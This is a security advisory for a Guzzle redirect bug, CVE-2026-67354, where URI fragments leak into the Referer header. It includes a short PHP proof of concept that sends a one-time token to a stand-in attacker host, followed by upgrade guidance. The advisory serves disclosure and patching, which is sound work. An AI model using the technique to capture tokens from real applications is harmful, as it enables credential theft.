high · 5.9Aug 4, 2026

CVE-2026-67354: guzzlehttp/guzzle URI Fragment Disclosure via Referer Header

Shubham Kandhare
Security Engagement Manager, SecureLayer7

When Guzzle follows a redirect with the referer option enabled, it copies the full URL including any '#fragment' into the Referer header, letting the redirect destination server read secrets that…

Packageguzzlehttp/guzzle
Ecosystemcomposer
Affected< 7.15.1
CVE-2026-67354: guzzlehttp/guzzle URI Fragment Disclosure via Referer Header

The problem

Guzzle's RedirectMiddleware, when allow_redirects => ['referer' => true] is set, builds the Referer header directly from the original request URI. It did not strip the URI fragment before writing that header.

This means any fragment embedded in the request URL, such as #token=abc123 or #state=xyz, gets sent verbatim to the redirect destination. That destination server reads it from the incoming Referer request header. The referer option is off by default, but any application that enables it and handles OAuth callbacks, magic-link logins, or state parameters in fragments is exposed.

Proof of concept

A working proof-of-concept for this issue in guzzlehttp/guzzle, with the exact payload below.

php
<?php
// Attacker controls https://redirect.attacker.com/ (the redirect destination).
// Victim app makes this request with referer enabled:

$client = new \GuzzleHttp\Client();
$client->get(
    'https://trusted-app.example.com/login#token=ONE_TIME_SECRET_ABC123',
    [
        'allow_redirects' => [
            'referer' => true,   // <-- required condition
        ],
    ]
);

// trusted-app.example.com responds:
// HTTP/1.1 302 Found
// Location: https://redirect.attacker.com/landing

// Guzzle (< 7.15.1) follows the redirect and sends:
// GET /landing HTTP/1.1
// Host: redirect.attacker.com
// Referer: https://trusted-app.example.com/login#token=ONE_TIME_SECRET_ABC123
//
// The attacker reads 'token=ONE_TIME_SECRET_ABC123' from their access logs.

The root cause is in src/RedirectMiddleware.php. Before 7.15.1, the code used the request URI as-is when constructing the Referer header value. RFC 3986 defines the fragment as client-side only and says it must never be sent to a server, but Guzzle passed it through anyway.

The fix calls withFragment('') on the URI object before writing it into the header, ensuring the #... portion is stripped. CWE-201 (Insertion of Sensitive Information Into Sent Data) applies precisely: the middleware actively inserts the fragment into an outbound header rather than passively failing to sanitize input.

The fix

Upgrade to guzzlehttp/guzzle 7.15.1 or later. Run composer require guzzlehttp/guzzle:^7.15.1. If you cannot upgrade immediately, either set allow_redirects => ['referer' => false] (the default) or disable automatic redirects entirely with allow_redirects => false for any requests whose URLs may contain sensitive fragments.

Reported by GrahamCampbell.

References: [1][2][3][4]

Related research